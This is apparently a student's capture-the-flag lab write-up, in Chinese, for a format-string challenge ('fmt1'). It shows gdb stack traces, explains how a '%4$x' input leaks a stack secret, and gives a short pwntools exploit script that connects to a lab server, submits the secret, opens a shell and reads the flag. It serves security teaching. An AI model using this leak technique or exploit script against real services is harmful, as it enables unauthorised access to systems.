

Format String

叶梓淳 520030910302

2023/5/9

1 fmt1

阅读程序汇编代码，程序的主体逻辑如下：首先初始化变量 `secret`，然后提示用户输入变量 `name` 的值，再调用函数 `printf("welcome" + name)`，接着提示用户输入 `secret` 的值，如果与初始化的值一致则执行系统调用函数 `system("bin/sh")`，从而得到 `flag`，否则提示用户失败，程序退出。

由于在输入 `name` 的值时有参数 `%5s` 限制了只能读入 5 个字符，因此不能利用栈溢出。漏洞为编写 `name` 成格式化字符串的形式让程序自动打印出 `secret` 的值，最后输入即可。

逐步调试程序，得到下图：

```
[-----code-----]
0x5655639e <main+115>:  push    eax
0x5655639f <main+116>:  push    DWORD PTR [ebp-0x30]
0x565563a2 <main+119>:  call    0x56556100 <read@plt>
=> 0x565563a7 <main+124>:  add     esp,0x10
0x565563aa <main+127>:  sub     esp,0xc
0x565563ad <main+130>:  lea     eax,[ebx-0x1f97]
0x565563b3 <main+136>:  push    eax
0x565563b4 <main+137>:  call    0x56556140 <puts@plt>
[-----stack-----]
0000| 0xffffd5f0 --> 0x3
0004| 0xffffd5f4 --> 0xffffd600 --> 0x92bc46b9
0008| 0xffffd5f8 --> 0x4
0012| 0xffffd5fc ("\\cUV\\271F\\274\\222")
0016| 0xffffd600 --> 0x92bc46b9
0020| 0xffffd604 --> 0xf7fc5000 --> 0x1d7d8c
0024| 0xffffd608 --> 0x3
0028| 0xffffd60c --> 0xf7e1d7db (<__internal_atexit+59>:      add     esp,0x10)
[-----]
Legend: code, data, rodata, value
0x565563a7 in main ()
gdb-peda$
```

观察到通过执行 `read` 函数，`secret` 的值写到了栈上地址为 `0xffffd600` 的位置，共 4 个字节。接着调试程序，直到执行 `printf` 函数：

```

[-----code-----]
0x565563e5 <main+186>: sub    esp,0xc
0x565563e8 <main+189>: lea    eax,[ebp-0x20]
0x565563eb <main+192>: push   eax
=> 0x565563ec <main+193>: call   0x56556110 <printf@plt>
0x565563f1 <main+198>: add    esp,0x10
0x565563f4 <main+201>: sub    esp,0xc
0x565563f7 <main+204>: lea    eax,[ebx-0x1f81]
0x565563fd <main+210>: push   eax
Guessed arguments:
arg[0]: 0xffffd618 ("welcome,aaaa")
[-----stack-----]
0000| 0xffffd5f0 --> 0xffffd618 ("welcome,aaaa")
0004| 0xffffd5f4 --> 0xffffd60e ("aaaa")
0008| 0xffffd5f8 --> 0x4
0012| 0xffffd5fc ("\\cUV\331YJ\005")
0016| 0xffffd600 --> 0x54a59d9
0020| 0xffffd604 --> 0xf7fc5000 --> 0xd7d8c
0024| 0xffffd608 --> 0x3
0028| 0xffffd60c --> 0x6161d7db
[-----]
Legend: code, data, rodata, value
0x565563ec in main ()
gdb-peda$

```

此时观察栈顶存放的值即是 printf 的参数，地址为 0xffffd5f0，距离 secret 的地址 16 个字节。因此，想要将 secret 打印出来，只需令 name 为 %4\$x 即可。需要注意的是最后输入 secret 只接受十进制形式，最终得到脚本如下：

- 脚本 1

```

1 from pwn import *
2
3 io = remote("10.0.0.10", 40011)
4
5 io.recvuntil("name")
6
7 io.sendline(b'%4$x')
8
9 io.recvuntil("welcome,")
10
11 secret = io.recv(8)
12
13 secret = int(secret, 16)
14
15 io.sendline(str(secret))
16
17 io.interactive()

```

运行结果如下，得到 flag。

```
test@9-16:~$ python3 exp.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 10.0.0.10 on port 40011: Done
712662826
[*] Switching to interactive mode
guess what is the secret:
you win!
$ ls
flag
fmt1
start.sh
$ cat flag
flag{t000000000_easyFmt_game}
$
```